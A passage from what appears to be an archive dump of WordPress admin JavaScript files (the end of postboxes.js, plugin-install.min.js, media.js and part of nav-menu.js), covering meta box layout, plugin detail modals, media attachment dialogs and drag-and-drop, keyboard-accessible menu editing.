				emptySortableText = areAllVisibleSortablesEmpty ?  __( 'Add boxes from the Screen Options menu' ) : __( 'Drag boxes here' );

			if ( ! isDashboard ) {
				return;
			}

			visibleSortables.each( function() {
				if ( $( this ).hasClass( 'empty-container' ) ) {
					$( this ).attr( 'data-emptyString', emptySortableText );
				}
			} );
		},

		/**
		 * Changes the amount of columns on the post edit page.
		 *
		 * @since 3.3.0
		 * @access private
		 *
		 * @memberof postboxes
		 *
		 * @fires postboxes#postboxes-columnchange
		 *
		 * @param {number} n The amount of columns to divide the post edit page in.
		 * @return {void}
		 */
		_pb_edit : function(n) {
			var el = $('.metabox-holder').get(0);

			if ( el ) {
				el.className = el.className.replace(/columns-\d+/, 'columns-' + n);
			}

			/**
			 * Fires when the amount of columns on the post edit page has been changed.
			 *
			 * @since 4.0.0
			 * @ignore
			 *
			 * @event postboxes#postboxes-columnchange
			 */
			$( document ).trigger( 'postboxes-columnchange' );
		},

		/**
		 * Changes the amount of columns the postboxes are in based on the current
		 * orientation of the browser.
		 *
		 * @since 3.3.0
		 * @access private
		 *
		 * @memberof postboxes
		 *
		 * @return {void}
		 */
		_pb_change : function() {
			var check = $( 'label.columns-prefs-1 input[type="radio"]' );

			switch ( window.orientation ) {
				case 90:
				case -90:
					if ( !check.length || !check.is(':checked') )
						this._pb_edit(2);
					break;
				case 0:
				case 180:
					if ( $( '#poststuff' ).length ) {
						this._pb_edit(1);
					} else {
						if ( !check.length || !check.is(':checked') )
							this._pb_edit(2);
					}
					break;
			}
		},

		/* Callbacks */

		/**
		 * @since 2.7.0
		 * @access public
		 *
		 * @property {Function|boolean} pbshow A callback that is called when a postbox
		 *                                     is opened.
		 * @memberof postboxes
		 */
		pbshow : false,

		/**
		 * @since 2.7.0
		 * @access public
		 * @property {Function|boolean} pbhide A callback that is called when a postbox
		 *                                     is closed.
		 * @memberof postboxes
		 */
		pbhide : false
	};

}(jQuery));
plugin-install.min.js000064400000004543150276633100010637 0ustar00/*! This file is auto-generated */
jQuery(function(e){var o,i,n,a,l,r=e(),s=e(".upload-view-toggle"),t=e(".wrap"),d=e(document.body);function c(){var t;n=e(":tabbable",i),a=o.find("#TB_closeWindowButton"),l=n.last(),(t=a.add(l)).off("keydown.wp-plugin-details"),t.on("keydown.wp-plugin-details",function(t){9===(t=t).which&&(l[0]!==t.target||t.shiftKey?a[0]===t.target&&t.shiftKey&&(t.preventDefault(),l.trigger("focus")):(t.preventDefault(),a.trigger("focus")))})}window.tb_position=function(){var t=e(window).width(),i=e(window).height()-(792<t?60:20),n=792<t?772:t-20;return(o=e("#TB_window")).length&&(o.width(n).height(i),e("#TB_iframeContent").width(n).height(i),o.css({"margin-left":"-"+parseInt(n/2,10)+"px"}),void 0!==document.body.style.maxWidth)&&o.css({top:"30px","margin-top":"0"}),e("a.thickbox").each(function(){var t=e(this).attr("href");t&&(t=(t=t.replace(/&width=[0-9]+/g,"")).replace(/&height=[0-9]+/g,""),e(this).attr("href",t+"&width="+n+"&height="+i))})},e(window).on("resize",function(){tb_position()}),d.on("thickbox:iframe:loaded",o,function(){var t;o.hasClass("plugin-details-modal")&&(t=o.find("#TB_iframeContent"),i=t.contents().find("body"),c(),a.trigger("focus"),e("#plugin-information-tabs a",i).on("click",function(){c()}),i.on("keydown",function(t){27===t.which&&tb_remove()}))}).on("thickbox:removed",function(){r.trigger("focus")}),e(".wrap").on("click",".thickbox.open-plugin-details-modal",function(t){var i=e(this).data("title")?wp.i18n.sprintf(wp.i18n.__("Plugin: %s"),e(this).data("title")):wp.i18n.__("Plugin details");t.preventDefault(),t.stopPropagation(),r=e(this),tb_click.call(this),o.attr({role:"dialog","aria-label":wp.i18n.__("Plugin details")}).addClass("plugin-details-modal"),o.find("#TB_iframeContent").attr("title",i)}),e("#plugin-information-tabs a").on("click",function(t){var i=e(this).attr("name");t.preventDefault(),e("#plugin-information-tabs a.current").removeClass("current"),e(this).addClass("current"),"description"!==i&&e(window).width()<772?e("#plugin-information-content").find(".fyi").hide():e("#plugin-information-content").find(".fyi").show(),e("#section-holder div.section").hide(),e("#section-"+i).show()}),t.hasClass("plugin-install-tab-upload")||s.attr({role:"button","aria-expanded":"false"}).on("click",function(t){t.preventDefault(),d.toggleClass("show-upload-view"),s.attr("aria-expanded",d.hasClass("show-upload-view"))})});media.js000064400000014617150276633100006175 0ustar00/**
 * Creates a dialog containing posts that can have a particular media attached
 * to it.
 *
 * @since 2.7.0
 * @output wp-admin/js/media.js
 *
 * @namespace findPosts
 *
 * @requires jQuery
 */

/* global ajaxurl, _wpMediaGridSettings, showNotice, findPosts, ClipboardJS */

( function( $ ){
	window.findPosts = {
		/**
		 * Opens a dialog to attach media to a post.
		 *
		 * Adds an overlay prior to retrieving a list of posts to attach the media to.
		 *
		 * @since 2.7.0
		 *
		 * @memberOf findPosts
		 *
		 * @param {string} af_name The name of the affected element.
		 * @param {string} af_val The value of the affected post element.
		 *
		 * @return {boolean} Always returns false.
		 */
		open: function( af_name, af_val ) {
			var overlay = $( '.ui-find-overlay' );

			if ( overlay.length === 0 ) {
				$( 'body' ).append( '<div class="ui-find-overlay"></div>' );
				findPosts.overlay();
			}

			overlay.show();

			if ( af_name && af_val ) {
				// #affected is a hidden input field in the dialog that keeps track of which media should be attached.
				$( '#affected' ).attr( 'name', af_name ).val( af_val );
			}

			$( '#find-posts' ).show();

			// Close the dialog when the escape key is pressed.
			$('#find-posts-input').trigger( 'focus' ).on( 'keyup', function( event ){
				if ( event.which == 27 ) {
					findPosts.close();
				}
			});

			// Retrieves a list of applicable posts for media attachment and shows them.
			findPosts.send();

			return false;
		},

		/**
		 * Clears the found posts lists before hiding the attach media dialog.
		 *
		 * @since 2.7.0
		 *
		 * @memberOf findPosts
		 *
		 * @return {void}
		 */
		close: function() {
			$('#find-posts-response').empty();
			$('#find-posts').hide();
			$( '.ui-find-overlay' ).hide();
		},

		/**
		 * Binds a click event listener to the overlay which closes the attach media
		 * dialog.
		 *
		 * @since 3.5.0
		 *
		 * @memberOf findPosts
		 *
		 * @return {void}
		 */
		overlay: function() {
			$( '.ui-find-overlay' ).on( 'click', function () {
				findPosts.close();
			});
		},

		/**
		 * Retrieves and displays posts based on the search term.
		 *
		 * Sends a post request to the admin_ajax.php, requesting posts based on the
		 * search term provided by the user. Defaults to all posts if no search term is
		 * provided.
		 *
		 * @since 2.7.0
		 *
		 * @memberOf findPosts
		 *
		 * @return {void}
		 */
		send: function() {
			var post = {
					ps: $( '#find-posts-input' ).val(),
					action: 'find_posts',
					_ajax_nonce: $('#_ajax_nonce').val()
				},
				spinner = $( '.find-box-search .spinner' );

			spinner.addClass( 'is-active' );

			/**
			 * Send a POST request to admin_ajax.php, hide the spinner and replace the list
			 * of posts with the response data. If an error occurs, display it.
			 */
			$.ajax( ajaxurl, {
				type: 'POST',
				data: post,
				dataType: 'json'
			}).always( function() {
				spinner.removeClass( 'is-active' );
			}).done( function( x ) {
				if ( ! x.success ) {
					$( '#find-posts-response' ).text( wp.i18n.__( 'An error has occurred. Please reload the page and try again.' ) );
				}

				$( '#find-posts-response' ).html( x.data );
			}).fail( function() {
				$( '#find-posts-response' ).text( wp.i18n.__( 'An error has occurred. Please reload the page and try again.' ) );
			});
		}
	};

	/**
	 * Initializes the file once the DOM is fully loaded and attaches events to the
	 * various form elements.
	 *
	 * @return {void}
	 */
	$( function() {
		var settings,
			$mediaGridWrap             = $( '#wp-media-grid' ),
			copyAttachmentURLClipboard = new ClipboardJS( '.copy-attachment-url.media-library' ),
			copyAttachmentURLSuccessTimeout;

		// Opens a manage media frame into the grid.
		if ( $mediaGridWrap.length && window.wp && window.wp.media ) {
			settings = _wpMediaGridSettings;

			var frame = window.wp.media({
				frame: 'manage',
				container: $mediaGridWrap,
				library: settings.queryVars
			}).open();

			// Fire a global ready event.
			$mediaGridWrap.trigger( 'wp-media-grid-ready', frame );
		}

		// Prevents form submission if no post has been selected.
		$( '#find-posts-submit' ).on( 'click', function( event ) {
			if ( ! $( '#find-posts-response input[type="radio"]:checked' ).length )
				event.preventDefault();
		});

		// Submits the search query when hitting the enter key in the search input.
		$( '#find-posts .find-box-search :input' ).on( 'keypress', function( event ) {
			if ( 13 == event.which ) {
				findPosts.send();
				return false;
			}
		});

		// Binds the click event to the search button.
		$( '#find-posts-search' ).on( 'click', findPosts.send );

		// Binds the close dialog click event.
		$( '#find-posts-close' ).on( 'click', findPosts.close );

		// Binds the bulk action events to the submit buttons.
		$( '#doaction' ).on( 'click', function( event ) {

			/*
			 * Handle the bulk action based on its value.
			 */
			$( 'select[name="action"]' ).each( function() {
				var optionValue = $( this ).val();

				if ( 'attach' === optionValue ) {
					event.preventDefault();
					findPosts.open();
				} else if ( 'delete' === optionValue ) {
					if ( ! showNotice.warn() ) {
						event.preventDefault();
					}
				}
			});
		});

		/**
		 * Enables clicking on the entire table row.
		 *
		 * @return {void}
		 */
		$( '.find-box-inside' ).on( 'click', 'tr', function() {
			$( this ).find( '.found-radio input' ).prop( 'checked', true );
		});

		/**
		 * Handles media list copy media URL button.
		 *
		 * @since 6.0.0
		 *
		 * @param {MouseEvent} event A click event.
		 * @return {void}
		 */
		copyAttachmentURLClipboard.on( 'success', function( event ) {
			var triggerElement = $( event.trigger ),
				successElement = $( '.success', triggerElement.closest( '.copy-to-clipboard-container' ) );

			// Clear the selection and move focus back to the trigger.
			event.clearSelection();
			// Handle ClipboardJS focus bug, see https://github.com/zenorocha/clipboard.js/issues/680.
			triggerElement.trigger( 'focus' );

			// Show success visual feedback.
			clearTimeout( copyAttachmentURLSuccessTimeout );
			successElement.removeClass( 'hidden' );

			// Hide success visual feedback after 3 seconds since last success and unfocus the trigger.
			copyAttachmentURLSuccessTimeout = setTimeout( function() {
				successElement.addClass( 'hidden' );
			}, 3000 );

			// Handle success audible feedback.
			wp.a11y.speak( wp.i18n.__( 'The file URL has been copied to your clipboard' ) );
		} );
	});
})( jQuery );
nav-menu.js000064400000144133150276633100006641 0ustar00/**
 * WordPress Administration Navigation Menu
 * Interface JS functions
 *
 * @version 2.0.0
 *
 * @package WordPress
 * @subpackage Administration
 * @output wp-admin/js/nav-menu.js
 */

/* global menus, postboxes, columns, isRtl, ajaxurl, wpNavMenu */

(function($) {

	var api;

	/**
	 * Contains all the functions to handle WordPress navigation menus administration.
	 *
	 * @namespace wpNavMenu
	 */
	api = window.wpNavMenu = {

		options : {
			menuItemDepthPerLevel : 30, // Do not use directly. Use depthToPx and pxToDepth instead.
			globalMaxDepth:  11,
			sortableItems:   '> *',
			targetTolerance: 0
		},

		menuList : undefined,	// Set in init.
		targetList : undefined, // Set in init.
		menusChanged : false,
		isRTL: !! ( 'undefined' != typeof isRtl && isRtl ),
		negateIfRTL: ( 'undefined' != typeof isRtl && isRtl ) ? -1 : 1,
		lastSearch: '',

		// Functions that run on init.
		init : function() {
			api.menuList = $('#menu-to-edit');
			api.targetList = api.menuList;

			this.jQueryExtensions();

			this.attachMenuEditListeners();

			this.attachBulkSelectButtonListeners();
			this.attachMenuCheckBoxListeners();
			this.attachMenuItemDeleteButton();
			this.attachPendingMenuItemsListForDeletion();

			this.attachQuickSearchListeners();
			this.attachThemeLocationsListeners();
			this.attachMenuSaveSubmitListeners();

			this.attachTabsPanelListeners();

			this.attachUnsavedChangesListener();

			if ( api.menuList.length )
				this.initSortables();

			if ( menus.oneThemeLocationNoMenus )
				$( '#posttype-page' ).addSelectedToMenu( api.addMenuItemToBottom );

			this.initManageLocations();

			this.initAccessibility();

			this.initToggles();

			this.initPreviewing();
		},

		jQueryExtensions : function() {
			// jQuery extensions.
			$.fn.extend({
				menuItemDepth : function() {
					var margin = api.isRTL ? this.eq(0).css('margin-right') : this.eq(0).css('margin-left');
					return api.pxToDepth( margin && -1 != margin.indexOf('px') ? margin.slice(0, -2) : 0 );
				},
				updateDepthClass : function(current, prev) {
					return this.each(function(){
						var t = $(this);
						prev = prev || t.menuItemDepth();
						$(this).removeClass('menu-item-depth-'+ prev )
							.addClass('menu-item-depth-'+ current );
					});
				},
				shiftDepthClass : function(change) {
					return this.each(function(){
						var t = $(this),
							depth = t.menuItemDepth(),
							newDepth = depth + change;

						t.removeClass( 'menu-item-depth-'+ depth )
							.addClass( 'menu-item-depth-'+ ( newDepth ) );

						if ( 0 === newDepth ) {
							t.find( '.is-submenu' ).hide();
						}
					});
				},
				childMenuItems : function() {
					var result = $();
					this.each(function(){
						var t = $(this), depth = t.menuItemDepth(), next = t.next( '.menu-item' );
						while( next.length && next.menuItemDepth() > depth ) {
							result = result.add( next );
							next = next.next( '.menu-item' );
						}
					});
					return result;
				},
				shiftHorizontally : function( dir ) {
					return this.each(function(){
						var t = $(this),
							depth = t.menuItemDepth(),
							newDepth = depth + dir;

						// Change .menu-item-depth-n class.
						t.moveHorizontally( newDepth, depth );
					});
				},
				moveHorizontally : function( newDepth, depth ) {
					return this.each(function(){
						var t = $(this),
							children = t.childMenuItems(),
							diff = newDepth - depth,
							subItemText = t.find('.is-submenu');

						// Change .menu-item-depth-n class.
						t.updateDepthClass( newDepth, depth ).updateParentMenuItemDBId();

						// If it has children, move those too.
						if ( children ) {
							children.each(function() {
								var t = $(this),
									thisDepth = t.menuItemDepth(),
									newDepth = thisDepth + diff;
								t.updateDepthClass(newDepth, thisDepth).updateParentMenuItemDBId();
							});
						}

						// Show "Sub item" helper text.
						if (0 === newDepth)
							subItemText.hide();
						else
							subItemText.show();
					});
				},
				updateParentMenuItemDBId : function() {
					return this.each(function(){
						var item = $(this),
							input = item.find( '.menu-item-data-parent-id' ),
							depth = parseInt( item.menuItemDepth(), 10 ),
							parentDepth = depth - 1,
							parent = item.prevAll( '.menu-item-depth-' + parentDepth ).first();

						if ( 0 === depth ) { // Item is on the top level, has no parent.
							input.val(0);
						} else { // Find the parent item, and retrieve its object id.
							input.val( parent.find( '.menu-item-data-db-id' ).val() );
						}
					});
				},
				hideAdvancedMenuItemFields : function() {
					return this.each(function(){
						var that = $(this);
						$('.hide-column-tog').not(':checked').each(function(){
							that.find('.field-' + $(this).val() ).addClass('hidden-field');
						});
					});
				},
				/**
				 * Adds selected menu items to the menu.
				 *
				 * @ignore
				 *
				 * @param jQuery metabox The metabox jQuery object.
				 */
				addSelectedToMenu : function(processMethod) {
					if ( 0 === $('#menu-to-edit').length ) {
						return false;
					}

					return this.each(function() {
						var t = $(this), menuItems = {},
							checkboxes = ( menus.oneThemeLocationNoMenus && 0 === t.find( '.tabs-panel-active .categorychecklist li input:checked' ).length ) ? t.find( '#page-all li input[type="checkbox"]' ) : t.find( '.tabs-panel-active .categorychecklist li input:checked' ),
							re = /menu-item\[([^\]]*)/;

						processMethod = processMethod || api.addMenuItemToBottom;

						// If no items are checked, bail.
						if ( !checkboxes.length )
							return false;

						// Show the Ajax spinner.
						t.find( '.button-controls .spinner' ).addClass( 'is-active' );

						// Retrieve menu item data.
						$(checkboxes).each(function(){
							var t = $(this),
								listItemDBIDMatch = re.exec( t.attr('name') ),
								listItemDBID = 'undefined' == typeof listItemDBIDMatch[1] ? 0 : parseInt(listItemDBIDMatch[1], 10);

							if ( this.className && -1 != this.className.indexOf('add-to-top') )
								processMethod = api.addMenuItemToTop;
							menuItems[listItemDBID] = t.closest('li').getItemData( 'add-menu-item', listItemDBID );
						});

						// Add the items.
						api.addItemToMenu(menuItems, processMethod, function(){
							// Deselect the items and hide the Ajax spinner.
							checkboxes.prop( 'checked', false );
							t.find( '.button-controls .select-all' ).prop( 'checked', false );
							t.find( '.button-controls .spinner' ).removeClass( 'is-active' );
						});
					});
				},
				getItemData : function( itemType, id ) {
					itemType = itemType || 'menu-item';

					var itemData = {}, i,
					fields = [
						'menu-item-db-id',
						'menu-item-object-id',
						'menu-item-object',
						'menu-item-parent-id',
						'menu-item-position',
						'menu-item-type',
						'menu-item-title',
						'menu-item-url',
						'menu-item-description',
						'menu-item-attr-title',
						'menu-item-target',
						'menu-item-classes',
						'menu-item-xfn'
					];

					if( !id && itemType == 'menu-item' ) {
						id = this.find('.menu-item-data-db-id').val();
					}

					if( !id ) return itemData;

					this.find('input').each(function() {
						var field;
						i = fields.length;
						while ( i-- ) {
							if( itemType == 'menu-item' )
								field = fields[i] + '[' + id + ']';
							else if( itemType == 'add-menu-item' )
								field = 'menu-item[' + id + '][' + fields[i] + ']';

							if (
								this.name &&
								field == this.name
							) {
								itemData[fields[i]] = this.value;
							}
						}
					});

					return itemData;
				},
				setItemData : function( itemData, itemType, id ) { // Can take a type, such as 'menu-item', or an id.
					itemType = itemType || 'menu-item';

					if( !id && itemType == 'menu-item' ) {
						id = $('.menu-item-data-db-id', this).val();
					}

					if( !id ) return this;

					this.find('input').each(function() {
						var t = $(this), field;
						$.each( itemData, function( attr, val ) {
							if( itemType == 'menu-item' )
								field = attr + '[' + id + ']';
							else if( itemType == 'add-menu-item' )
								field = 'menu-item[' + id + '][' + attr + ']';

							if ( field == t.attr('name') ) {
								t.val( val );
							}
						});
					});
					return this;
				}
			});
		},

		countMenuItems : function( depth ) {
			return $( '.menu-item-depth-' + depth ).length;
		},

		moveMenuItem : function( $this, dir ) {

			var items, newItemPosition, newDepth,
				menuItems = $( '#menu-to-edit li' ),
				menuItemsCount = menuItems.length,
				thisItem = $this.parents( 'li.menu-item' ),
				thisItemChildren = thisItem.childMenuItems(),
				thisItemData = thisItem.getItemData(),
				thisItemDepth = parseInt( thisItem.menuItemDepth(), 10 ),
				thisItemPosition = parseInt( thisItem.index(), 10 ),
				nextItem = thisItem.next(),
				nextItemChildren = nextItem.childMenuItems(),
				nextItemDepth = parseInt( nextItem.menuItemDepth(), 10 ) + 1,
				prevItem = thisItem.prev(),
				prevItemDepth = parseInt( prevItem.menuItemDepth(), 10 ),
				prevItemId = prevItem.getItemData()['menu-item-db-id'],
				a11ySpeech = menus[ 'moved' + dir.charAt(0).toUpperCase() + dir.slice(1) ];

			switch ( dir ) {
			case 'up':
				newItemPosition = thisItemPosition - 1;

				// Already at top.
				if ( 0 === thisItemPosition )
					break;

				// If a sub item is moved to top, shift it to 0 depth.
				if ( 0 === newItemPosition && 0 !== thisItemDepth )
					thisItem.moveHorizontally( 0, thisItemDepth );

				// If prev item is sub item, shift to match depth.
				if ( 0 !== prevItemDepth )
					thisItem.moveHorizontally( prevItemDepth, thisItemDepth );

				// Does this item have sub items?
				if ( thisItemChildren ) {
					items = thisItem.add( thisItemChildren );
					// Move the entire block.
					items.detach().insertBefore( menuItems.eq( newItemPosition ) ).updateParentMenuItemDBId();
				} else {
					thisItem.detach().insertBefore( menuItems.eq( newItemPosition ) ).updateParentMenuItemDBId();
				}
				break;
			case 'down':
				// Does this item have sub items?
				if ( thisItemChildren ) {
					items = thisItem.add( thisItemChildren ),
						nextItem = menuItems.eq( items.length + thisItemPosition ),
						nextItemChildren = 0 !== nextItem.childMenuItems().length;

					if ( nextItemChildren ) {
						newDepth = parseInt( nextItem.menuItemDepth(), 10 ) + 1;
						thisItem.moveHorizontally( newDepth, thisItemDepth );
					}

					// Have we reached the bottom?
					if ( menuItemsCount === thisItemPosition + items.length )
						break;

					items.detach().insertAfter( menuItems.eq( thisItemPosition + items.length ) ).updateParentMenuItemDBId();
				} else {
					// If next item has sub items, shift depth.
					if ( 0 !== nextItemChildren.length )
						thisItem.moveHorizontally( nextItemDepth, thisItemDepth );

					// Have we reached the bottom?
					if ( menuItemsCount === thisItemPosition + 1 )
						break;
					thisItem.detach().insertAfter( menuItems.eq( thisItemPosition + 1 ) ).updateParentMenuItemDBId();
				}
				break;
			case 'top':
				// Already at top.
				if ( 0 === thisItemPosition )
					break;
				// Does this item have sub items?
				if ( thisItemChildren ) {
					items = thisItem.add( thisItemChildren );
					// Move the entire block.
					items.detach().insertBefore( menuItems.eq( 0 ) ).updateParentMenuItemDBId();
				} else {
					thisItem.detach().insertBefore( menuItems.eq( 0 ) ).updateParentMenuItemDBId();
				}
				break;
			case 'left':
				// As far left as possible.
				if ( 0 === thisItemDepth )
					break;
				thisItem.shiftHorizontally( -1 );
				break;
			case 'right':
				// Can't be sub item at top.
				if ( 0 === thisItemPosition )
					break;
				// Already sub item of prevItem.
				if ( thisItemData['menu-item-parent-id'] === prevItemId )
					break;
				thisItem.shiftHorizontally( 1 );
				break;
			}
			$this.trigger( 'focus' );
			api.registerChange();
			api.refreshKeyboardAccessibility();
			api.refreshAdvancedAccessibility();

			if ( a11ySpeech ) {
				wp.a11y.speak( a11ySpeech );
			}
		},

		initAccessibility : function() {
			var menu = $( '#menu-to-edit' );

			api.refreshKeyboardAccessibility();
			api.refreshAdvancedAccessibility();

			// Refresh the accessibility when the user comes close to the item in any way.
			menu.on( 'mouseenter.refreshAccessibility focus.refreshAccessibility touchstart.refreshAccessibility' , '.menu-item' , function(){
				api.refreshAdvancedAccessibilityOfItem( $( this ).find( 'a.item-edit' ) );
			} );

			// We have to update on click as well because we might hover first, change the item, and then click.
			menu.on( 'click', 'a.item-edit', function() {
				api.refreshAdvancedAccessibilityOfItem( $( this ) );
			} );

			// Links for moving items.
			menu.on( 'click', '.menus-move', function () {
				var $this = $( this ),
					dir = $this.data( 'dir' );

				if ( 'undefined' !== typeof dir ) {
					api.moveMenuItem( $( this ).parents( 'li.menu-item' ).find( 'a.item-edit' ), dir );
				}
			});
		},

		/**
		 * refreshAdvancedAccessibilityOfItem( [itemToRefresh] )
		 *
		 * Refreshes advanced accessibility buttons for one menu item.
		 * Shows or hides buttons based on the location of the menu item.
		 *
		 * @param {Object} itemToRefresh The menu item that might need its advanced accessibility buttons refreshed
		 */
		refreshAdvancedAccessibilityOfItem : function( itemToRefresh ) {

			// Only refresh accessibility when necessary.
			if ( true !== $( itemToRefresh ).data( 'needs_accessibility_refresh' ) ) {
				return;
			}

			var thisLink, thisLinkText, primaryItems, itemPosition, title,
				parentItem, parentItemId, parentItemName, subItems,
				$this = $( itemToRefresh ),
				menuItem = $this.closest( 'li.menu-item' ).first(),
				depth = menuItem.menuItemDepth(),
				isPrimaryMenuItem = ( 0 === depth ),
				itemName = $this.closest( '.menu-item-handle' ).find( '.menu-item-title' ).text(),
				position = parseInt( menuItem.index(), 10 ),
				prevItemDepth = ( isPrimaryMenuItem ) ? depth : parseInt( depth - 1, 10 ),
				prevItemNameLeft = menuItem.prevAll('.menu-item-depth-' + prevItemDepth).first().find( '.menu-item-title' ).text(),
				prevItemNameRight = menuItem.prevAll('.menu-item-depth-' + depth).first().find( '.menu-item-title' ).text(),
				totalMenuItems = $('#menu-to-edit li').length,
				hasSameDepthSibling = menuItem.nextAll( '.menu-item-depth-' + depth ).length;

				menuItem.find( '.field-move' ).toggle( totalMenuItems > 1 );

			// Where can they move this menu item?
			if ( 0 !== position ) {
				thisLink = menuItem.find( '.menus-move-up' );
				thisLink.attr( 'aria-label', menus.moveUp ).css( 'display', 'inline' );
			}

			if ( 0 !== position && isPrimaryMenuItem ) {
				thisLink = menuItem.find( '.menus-move-top' );
				thisLink.attr( 'aria-label', menus.moveToTop ).css( 'display', 'inline' );
			}

			if ( position + 1 !== totalMenuItems && 0 !== position ) {
				thisLink = menuItem.find( '.menus-move-down' );
				thisLink.attr( 'aria-label', menus.moveDown ).css( 'display', 'inline' );
			}

			if ( 0 === position && 0 !== hasSameDepthSibling ) {
				thisLink = menuItem.find( '.menus-move-down' );
				thisLink.attr( 'aria-label', menus.moveDown ).css( 'display', 'inline' );
			}

			if ( ! isPrimaryMenuItem ) {
				thisLink = menuItem.find( '.menus-move-left' ),
				thisLinkText = menus.outFrom.replace( '%s', prevItemNameLeft );
				thisLink.attr( 'aria-label', menus.moveOutFrom.replace( '%s', prevItemNameLeft ) ).text( thisLinkText ).css( 'display', 'inline' );
			}

			if ( 0 !== position ) {
				if ( menuItem.find( '.menu-item-data-parent-id' ).val() !== menuItem.prev().find( '.menu-item-data-db-id' ).val() ) {
					thisLink = menuItem.find( '.menus-move-right' ),
					thisLinkText = menus.under.replace( '%s', prevItemNameRight );
					thisLink.attr( 'aria-label', menus.moveUnder.replace( '%s', prevItemNameRight ) ).text( thisLinkText ).css( 'display', 'inline' );
				}
			}

			if ( isPrimaryMenuItem ) {
				primaryItems = $( '.menu-item-depth-0' ),
				itemPosition = primaryItems.index( menuItem ) + 1,
				totalMenuItems = primaryItems.length,

				// String together help text for primary menu items.
				title = menus.menuFocus.replace( '%1$s', itemName ).replace( '%2$d', itemPosition ).replace( '%3$d', totalMenuItems );
			} else {
				parentItem = menuItem.prevAll( '.menu-item-depth-' + parseInt( depth - 1, 10 ) ).first(),
				parentItemId = parentItem.find( '.menu-item-data-db-id' ).val(),
				parentItemName = parentItem.find( '.menu-item-title' ).text(),
				subItems = $( '.menu-item .menu-item-data-parent-id[value="' + parentItemId + '"]' ),
				itemPosition = $( subItems.parents('.menu-item').get().reverse() ).index( menuItem ) + 1;

				// String together help text for sub menu items.
				title = menus.subMenuFocus.replace( '%1$s', itemName ).replace( '%2$d', itemPosition ).replace( '%3$s', parentItemName );
			}

			$this.attr( 'aria-label', title );

			// Mark this item's accessibility as refreshed.
			$this.data( 'needs_accessibility_refresh', false );
		},

		/**
		 * refreshAdvancedAccessibility
		 *
		 * Hides all advanced accessibility buttons and marks them for refreshing.
		 */
		refreshAdvancedAccessibility : function() {

			// Hide all the move buttons by default.
			$( '.menu-item-settings .field-move .menus-move' ).hide();

			// Mark all menu items as unprocessed.
			$( 'a.item-edit' ).data( 'needs_accessibility_refresh', true );

			// All open items have to be refreshed or they will show no links.
			$( '.menu-item-edit-active a.item-edit' ).each( function() {
				api.refreshAdvancedAccessibilityOfItem( this );
			} );
		},

		refreshKeyboardAccessibility : function() {
			$( 'a.item-edit' ).off( 'focus' ).on( 'focus', function(){
				$(this).off( 'keydown' ).on( 'keydown', function(e){

					var arrows,
						$this = $( this ),
						thisItem = $this.parents( 'li.menu-item' ),
						thisItemData = thisItem.getItemData();

					// Bail if it's not an arrow key.
					if ( 37 != e.which && 38 != e.which && 39 != e.which && 40 != e.which )
						return;

					// Avoid multiple keydown events.
					$this.off('keydown');

					// Bail if there is only one menu item.
					if ( 1 === $('#menu-to-edit li').length )
						return;

					// If RTL, swap left/right arrows.
					arrows = { '38': 'up', '40': 'down', '37': 'left', '39': 'right' };
					if ( $('body').hasClass('rtl') )
						arrows = { '38' : 'up', '40' : 'down', '39' : 'left', '37' : 'right' };

					switch ( arrows[e.which] ) {
					case 'up':
						api.moveMenuItem( $this, 'up' );
						break;
					case 'down':
						api.moveMenuItem( $this, 'down' );
						break;
					case 'left':
						api.moveMenuItem( $this, 'left' );
						break;
					case 'right':
						api.moveMenuItem( $this, 'right' );
						break;
					}
					// Put focus back on same menu item.
					$( '#edit-' + thisItemData['menu-item-db-id'] ).trigger( 'focus' );
					return false;
				});
			});
		},

		initPreviewing : function() {
			// Update the item handle title when the navigation label is changed.
			$( '#menu-to-edit' ).on( 'change input', '.edit-menu-item-title', function(e) {
				var input = $( e.currentTarget ), title, titleEl;
				title = input.val();
				titleEl = input.closest( '.menu-item' ).find( '.menu-item-title' );
				// Don't update to empty title.
				if ( title ) {
					titleEl.text( title ).removeClass( 'no-title' );
				} else {
					titleEl.text( wp.i18n._x( '(no label)', 'missing menu item navigation label' ) ).addClass( 'no-title' );
				}
			} );
		},

		initToggles : function() {
			// Init postboxes.
			postboxes.add_postbox_toggles('nav-menus');

			// Adjust columns functions for menus UI.
			columns.useCheckboxesForHidden();
			columns.checked = function(field) {
				$('.field-' + field).removeClass('hidden-field');
			};
			columns.unchecked = function(field) {
				$('.field-' + field).addClass('hidden-field');
			};
			// Hide fields.
			api.menuList.hideAdvancedMenuItemFields();

			$('.hide-postbox-tog').on( 'click', function () {
				var hidden = $( '.accordion-container li.accordion-section' ).filter(':hidden').map(function() { return this.id; }).get().join(',');
				$.post(ajaxurl, {
					action: 'closed-postboxes',
					hidden: hidden,
					closedpostboxesnonce: jQuery('#closedpostboxesnonce').val(),
					page: 'nav-menus'
				});
			});
		},

		initSortables : function() {
			var currentDepth = 0, originalDepth, minDepth, maxDepth,
				prev, next, prevBottom, nextThreshold, helperHeight, transport,
				menuEdge = api.menuList.offset().left,
				body = $('body'), maxChildDepth,
				menuMaxDepth = initialMenuMaxDepth();

			if( 0 !== $( '#menu-to-edit li' ).length )
				$( '.drag-instructions' ).show();

			// Use the right edge if RTL.
			menuEdge += api.isRTL ? api.menuList.width() : 0;

			api.menuList.sortable({
				handle: '.menu-item-handle',
				placeholder: 'sortable-placeholder',
				items: api.options.sortableItems,
				start: function(e, ui) {
					var height, width, parent, children, tempHolder;

					// Handle placement for RTL orientation.
					if ( api.isRTL )
						ui.item[0].style.right = 'auto';

					transport = ui.item.children('.menu-item-transport');

					// Set depths. currentDepth must be set before children are located.
					originalDepth = ui.item.menuItemDepth();
					updateCurrentDepth(ui, originalDepth);

					// Attach child elements to parent.
					// Skip the placeholder.
					parent = ( ui.item.next()[0] == ui.placeholder[0] ) ? ui.item.next() : ui.item;
					children = parent.childMenuItems();
					transport.append( children );

					// Update the height of the placeholder to match the moving item.
					height = transport.outerHeight();
					// If there are children, account for distance between top of children and parent.
					height += ( height > 0 ) ? (ui.placeholder.css('margin-top').slice(0, -2) * 1) : 0;
					height += ui.helper.outerHeight();
					helperHeight = height;
					height -= 2;                                              // Subtract 2 for borders.
					ui.placeholder.height(height);

					// Update the width of the placeholder to match the moving item.
					maxChildDepth = originalDepth;
					children.each(function(){
						var depth = $(this).menuItemDepth();
						maxChildDepth = (depth > maxChildDepth) ? depth : maxChildDepth;
					});
					width = ui.helper.find('.menu-item-handle').outerWidth(); // Get original width.
					width += api.depthToPx(maxChildDepth - originalDepth);    // Account for children.
					width -= 2;                                               // Subtract 2 for borders.
					ui.placeholder.width(width);

					// Update the list of menu items.
